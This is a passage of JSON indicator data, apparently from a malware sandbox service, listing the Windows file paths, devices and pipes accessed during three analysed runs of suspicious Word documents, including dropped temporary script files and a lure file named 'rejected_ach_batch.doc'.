sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"},{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"path":"%PROGRAMFILES%\\(x86)\\Common Files\\Microsoft Shared\\OFFICE11\\msxml5.dll","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"}]},{"path":"%APPDATA%\\Microsoft\\Office\\Word12.pip","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"path":"C:\\PROGRA~3\\MICROS~1\\OFFICE\\DATA\\OPA12.BAK","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft Office\\Office12\\ID_10031.DPC","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"}]},{"path":"C:\\ProgramData","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"}]},{"path":"%WINDIR%\\syswow64\\de-DE\\USER32.dll.mui","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"}]},{"path":"%WINDIR%\\splwow64.exe","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"}]},{"path":"%WINDIR%\\syswow64\\de-DE\\MSCTF.dll.mui","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"}]},{"path":"%APPDATA%\\Microsoft\\Templates\\~$Normal.dotm","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"},{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"},{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\cversions.1.db","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"},{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000006.db","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"path":"C:\\Users\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"},{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"path":"MountPointManager","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"path":"%APPDATA%\\Microsoft\\Templates","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"},{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"path":"%APPDATA%\\Microsoft\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"},{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"path":"%USERPROFILE%\\Contacts\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"}]},{"path":"%USERPROFILE%\\Searches\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"}]},{"path":"%USERPROFILE%\\Saved Games\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"}]},{"path":"%WINDIR%\\System32\\de-DE\\shdocvw.dll.mui","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"}]},{"path":"%WINDIR%\\System32\\shdocvw.dll","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"}]},{"path":"%APPDATA%\\Microsoft\\Templates\\Normal.dotm","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"},{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"path":"%WINDIR%\\system32\\rsaenh.dll","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRS{A301FAFE-248A-4704-9ADA-667FED534F38}.tmp","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft Office\\Office12\\id_10031.dpc","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\Office\\Data\\89451.bpc","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"}]},{"path":"%WINDIR%\\system32\\de-DE\\wdmaud.drv.mui","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"}]},{"path":"%WINDIR%\\system32\\de-DE\\MMDevAPI.DLL.mui","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"}]},{"path":"%WINDIR%\\system32\\wdmaud.drv","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"path":"wdmaud.drv","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"path":"pci#ven_8086&dev_100e&subsys_001e8086&rev_02#3&267a616a&0&18#{ad498944-762f-11d0-8dcb-00c04fc3358c}\\{99eeffb2-ab17-4bfc-9bbc-d2001e0c4fc5}","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"}]},{"path":"root#*isatap#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\\{85c6619c-a5e8-4995-b351-1f8b696a9c13}","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"}]},{"path":"root#*teredo#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\\{c23e0e89-6218-47ad-aaa6-4a30095e2323}","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"}]},{"path":"root#ms_agilevpnminiport#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\\{29898c9d-b0a4-4fef-bdb6-57a562022cee}","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"}]},{"path":"root#ms_l2tpminiport#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\\{e43d242b-9eab-4626-a952-46649fbb939a}","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"}]},{"path":"root#ms_ndiswanbh#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\\ndiswanbh","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"path":"root#ms_ndiswanip#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\\ndiswanip","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"path":"root#ms_ndiswanipv6#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\\ndiswanipv6","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"path":"root#ms_pppoeminiport#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\\{8e301a52-affa-4f49-b9ca-c79096a1a056}","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"}]},{"path":"root#ms_pptpminiport#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\\{df4a9d2c-8742-4eb1-8703-d395c4183f33}","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"}]},{"path":"root#ms_sstpminiport#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\\{71f897d7-eb7c-4d8d-89db-ac80d9dd2270}","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"}]},{"path":"root#system#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\\{eeab7790-c514-11d1-b42b-00805fc1270e}&asyncmac","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"path":"sw#{eeab7790-c514-11d1-b42b-00805fc1270e}#asyncmac#{ad498944-762f-11d0-8dcb-00c04fc3358c}\\{78032b7e-4968-42d3-9f37-287ea86c0aaa}","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"}]},{"path":"C:\\PROGRA~3\\MICROS~1\\OFFICE\\DATA\\opa12.dat","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"}]},{"path":"%TEMP%\\~DFE76644F50E45F55D.TMP","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"}]},{"path":"%PROGRAMFILES%\\(x86)\\Common Files\\Microsoft Shared\\VBA\\VBA6\\VBE6.DLL","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"}]},{"path":"C:\\share\\~$6aa62e129c02b4c748dd012df93d6690155ab08131052993d0e57e49c25cdb.doc","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRS{313075A7-88BE-41FE-B9CF-61B480E725E4}.tmp","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"}]},{"path":"%APPDATA%\\Microsoft\\Office\\adhoc.rcd","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"},{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"path":"%APPDATA%\\Microsoft\\Office\\review.rcd","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"},{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"path":"C:\\","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"path":"C:\\Users","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"},{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"path":"%USERPROFILE%\\AppData","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"},{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"path":"%APPDATA%\\Microsoft","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"},{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"path":"%APPDATA%\\Microsoft\\Office","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"},{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"path":"%APPDATA%\\Microsoft\\Office\\Recent","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"},{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"path":"%APPDATA%\\Microsoft\\Office\\Recent\\776aa62e129c02b4c748dd012df93d6690155ab08131052993d0e57e49c25cdb","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"path":"%WINDIR%\\syswow64\\de-DE\\SHELL32.dll.mui","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"}]},{"path":"PIPE\\srvsvc","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"},{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"path":"%APPDATA%\\Microsoft\\Office\\Recent\\776aa62e129c02b4c748dd012df93d6690155ab08131052993d0e57e49c25cdb.LNK","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"path":"C:\\Users\\PSPUBWS","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"},{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"path":"%APPDATA%\\Microsoft\\Office\\Recent\\Lokaler Datentr","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"}]},{"path":"%APPDATA%\\Microsoft\\Office\\Recent\\Lokaler Datentrger (Z).LNK","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft Office\\Office12\\MSWORD.OLB","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRF{70038EC8-4188-4974-A473-DDB35ED61936}.tmp","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"}]},{"path":"%WINDIR%\\SysWOW64\\stdole2.tlb","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"}]},{"path":"%PROGRAMFILES%\\(x86)\\Common Files\\Microsoft Shared\\OFFICE12\\MSO.DLL","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"}]},{"path":"%PROGRAMFILES(X86)%\\COMMON~1\\MICROS~1\\VBA\\VBA6\\VBE6.DLL","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"}]},{"path":"%PROGRAMFILES(X86)%\\COMMON~1\\MICROS~1\\VBA\\VBA6\\VBE6.DLL\\3","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"}]},{"path":"%TEMP%\\VBE","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"},{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"path":"Nsi","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"path":"\\Device\\Afd\\Endpoint","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"path":"\\Device\\RasAcd","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"path":"%USERPROFILE%\\AppData\\Local","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"},{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"path":"%TEMP%\\21385.ps1","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"path":"%TEMP%\\21385.vbs","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"path":"%TEMP%\\21385.bat","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"path":"\\SystemRoot\\AppPatch\\sysmain.sdb","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"},{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"path":"%APPDATA%\\Microsoft\\UProof\\CUSTOM.DIC","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"},{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"path":"%APPDATA%\\MICROS~1\\Office\\Recent\\index.dat","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"}]},{"path":"%USERPROFILE%\\DOCUME~1\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"}]},{"path":"%APPDATA%\\MICROS~1\\Windows\\Recent\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"}]},{"path":"%COMMONPROGRAMFILES%\\Microsoft Shared\\office12\\Cultures\\office.odf","sources":[{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"path":"%PROGRAMFILES%\\Microsoft Office\\Office12\\WINWORD.EXE.config","sources":[{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"path":"%COMMONPROGRAMFILES%\\Microsoft Shared\\OFFICE11\\msxml5.dll","sources":[{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"path":"%PROGRAMFILES(X86)%\\MICROS~1\\OFFICE\\DATA\\OPA12.BAK","sources":[{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"path":"%WINDIR%\\system32\\spool\\DRIVERS\\W32X86\\3\\mxdwdui.BUD","sources":[{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"path":"%WINDIR%\\system32\\spool\\DRIVERS\\W32X86\\3\\StdNames.gpd","sources":[{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"},{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"path":"%WINDIR%\\system32\\spool\\DRIVERS\\W32X86\\3\\mxdwdui.gpd","sources":[{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"path":"%WINDIR%\\system32\\spool\\DRIVERS\\W32X86\\3\\mxdwdui.ini","sources":[{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"path":"%USERPROFILE%\\Desktop\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"},{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"path":"%USERPROFILE%\\Documents\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"path":"%USERPROFILE%\\Links\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRS{3CE3454F-566E-4EF6-95E2-FD672CFE8E3F}.tmp","sources":[{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"path":"%WINDIR%\\system32\\en-US\\MSCTF.dll.mui","sources":[{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"},{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"path":"%WINDIR%\\system32\\en-US\\wdmaud.drv.mui","sources":[{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"path":"%WINDIR%\\system32\\en-US\\MMDevAPI.DLL.mui","sources":[{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"path":"pci#ven_8086&dev_100e&subsys_001e8086&rev_02#3&267a616a&0&18#{ad498944-762f-11d0-8dcb-00c04fc3358c}\\{d0b53124-e232-49fc-9ea9-75fa32c7c6c3}","sources":[{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"path":"root#*isatap#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\\{9c9c1d9a-e45a-41f9-8d98-d3b6ea5d768d}","sources":[{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"path":"root#*teredo#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\\{72d885c2-0aec-4510-95d5-bf120a963535}","sources":[{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"path":"root#ms_agilevpnminiport#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\\{dcb14c61-690d-46f7-8a89-150432fa5c44}","sources":[{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"path":"root#ms_l2tpminiport#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\\{483c9ff8-503d-414b-b402-e4c1f1f568cb}","sources":[{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"path":"root#ms_pppoeminiport#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\\{db2b4279-b5cf-4626-9dba-32d0ece44c87}","sources":[{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"path":"root#ms_pptpminiport#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\\{c0de3e38-8ba7-479f-8b75-833f294c5aa8}","sources":[{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"path":"root#ms_sstpminiport#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\\{e28d896f-9ea8-433a-9c10-66c97c19a921}","sources":[{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"path":"sw#{eeab7790-c514-11d1-b42b-00805fc1270e}#asyncmac#{ad498944-762f-11d0-8dcb-00c04fc3358c}\\{e2f8a220-af88-446c-9a55-453e58dd3a33}","sources":[{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"path":"%PROGRAMFILES(X86)%\\MICROS~1\\OFFICE\\DATA\\opa12.dat","sources":[{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"path":"%TEMP%\\~DF5D3B648AB8D68458.TMP","sources":[{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"path":"%COMMONPROGRAMFILES%\\Microsoft Shared\\VBA\\VBA6\\VBE6.DLL","sources":[{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRS{54538D29-7C74-4A88-94D8-B7A452CF6D0E}.tmp","sources":[{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"path":"%APPDATA%\\Microsoft\\Office\\Recent\\Local Disk (Z)","sources":[{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"path":"%APPDATA%\\Microsoft\\Office\\Recent\\Local Disk (Z).LNK","sources":[{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"path":"%PROGRAMFILES%\\Microsoft Office\\Office12\\MSWORD.OLB","sources":[{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRF{0C02499D-F79E-485D-9282-A0BD6F4B5030}.tmp","sources":[{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"path":"%WINDIR%\\system32\\stdole2.tlb","sources":[{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"},{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"path":"%COMMONPROGRAMFILES%\\Microsoft Shared\\OFFICE12\\MSO.DLL","sources":[{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"path":"%PROGRAMFILES%\\COMMON~1\\MICROS~1\\VBA\\VBA6\\VBE6.DLL","sources":[{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"path":"%PROGRAMFILES%\\COMMON~1\\MICROS~1\\VBA\\VBA6\\VBE6.DLL\\3","sources":[{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"path":"%APPDATA%\\Microsoft\\UProof\\ExcludeDictionaryEN0409.lex","sources":[{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"path":"%COMMONPROGRAMFILES%\\Microsoft Shared\\PROOF\\MSGR3EN.LEX","sources":[{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"path":"%APPDATA%\\Microsoft\\Office\\MSO1033.acl","sources":[{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"path":"%COMMONPROGRAMFILES%\\Microsoft Shared\\office14\\MSO.DLL","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"path":"%WINDIR%\\system32\\en-US\\USER32.dll.mui","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"path":"%PROGRAMFILES%\\Microsoft Office\\Office14\\WINWORD.EXE.config","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000000c.db","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"path":"C:\\Users\\11sZMCL","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"path":"%WINDIR%\\system32\\en-US\\SETUPAPI.dll.mui","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"path":"%WINDIR%\\system32\\en-US\\KERNELBASE.dll.mui","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"path":"%WINDIR%\\System32\\msxml6r.dll","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRS{62B4A5B9-02F2-4697-BF64-81830C210B34}.tmp","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"path":"%TEMP%\\~DF83E9DA75D0CBF731.TMP","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"path":"%COMMONPROGRAMFILES%\\Microsoft Shared\\VBA\\VBA7\\VBE7.DLL","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"path":"C:\\rejected_ach_batch.doc","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"path":"C:\\~$jected_ach_batch.doc","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRS{F2DC0FDB-E1F5-4EAD-A202-A0FEFF96E26D}.tmp","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"path":"%APPDATA%\\Microsoft\\Office\\Recent\\rejected_ach_batch","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"path":"%APPDATA%\\Microsoft\\Office\\Recent\\rejected_ach_batch.LNK","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"path":"%PROGRAMFILES%\\Microsoft Office\\Office14\\MSWORD.OLB","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRF{0BCCEE99-0A5E-4610-9F53-52CF7F354DA0}.tmp","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"path":"%COMMONPROGRAMFILES%\\Microsoft 